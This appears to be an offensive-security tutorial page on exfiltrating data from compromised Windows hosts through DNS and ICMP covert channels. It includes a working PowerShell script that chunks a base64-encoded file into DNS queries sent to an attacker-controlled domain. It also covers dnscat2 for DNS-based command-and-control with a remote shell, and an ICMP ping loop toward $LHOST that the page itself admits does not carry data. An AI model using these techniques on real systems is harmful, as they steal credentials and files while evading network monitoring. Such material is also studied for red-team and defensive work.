Windows DNS and Covert Channel Exfiltration
When HTTP, HTTPS, SMB, and FTP are all blocked or monitored, DNS is often the last viable channel. DNS queries are rarely blocked outbound and are infrequently inspected in depth. The technique encodes data into DNS query labels and exfiltrates it to a domain you control. Throughput is low — plan for small, high-value payloads only.
DNS exfiltration — manual method
For small amounts of data such as credential files or key material, base64 encode the data and send it as DNS queries without any special tooling.
# Base64 encode the file
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip'))
# Split into 60-char chunks (DNS label limit is 63 chars)
$chunks = $data -split '(.{60})' | Where-Object {$_}
# Send each chunk as a DNS query
$i = 0
foreach ($chunk in $chunks) {
$query = "$i.$chunk.$DOMAIN"
Resolve-DnsName $query -ErrorAction SilentlyContinue
$i++
Start-Sleep -Milliseconds 200
}
dnscat2 — tunneled C2 over DNS
dnscat2 establishes a full command-and-control channel over DNS. It requires a domain you control with NS records pointing to your attack box. Once connected it provides an interactive shell and file transfer capability entirely over DNS.
ICMP exfiltration
ICMP is another protocol that is commonly allowed outbound and rarely inspected. Data is encoded into the payload field of ping packets. Throughput is very low but it works when all TCP and UDP channels are blocked.
# Send file data via ICMP ping payload
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\secret.txt'))
$chunks = $data -split '(.{32})' | Where-Object {$_}
foreach ($chunk in $chunks) {
ping $LHOST -n 1 -l 32 | Out-Null
# Note: native ping does not support custom payloads
# Use a dedicated tool like icmpsh for actual payload embedding
Start-Sleep -Milliseconds 100
}
Native Windows ping does not support custom ICMP payloads — use icmpsh or a purpose-built binary for actual ICMP data exfiltration. DNS exfiltration is more practical in most engagements because it requires no special binary on the target and works through most corporate firewalls and proxies.
References
-
dnscat2 — GitHubgithub.com/iagox86/dnscat2 (opens in new tab)
DNS-based C2 and exfiltration — server and client source
-
icmpsh — GitHubgithub.com/bdamele/icmpsh (opens in new tab)
ICMP reverse shell and exfiltration tool
Was this helpful?
Your feedback helps improve this page.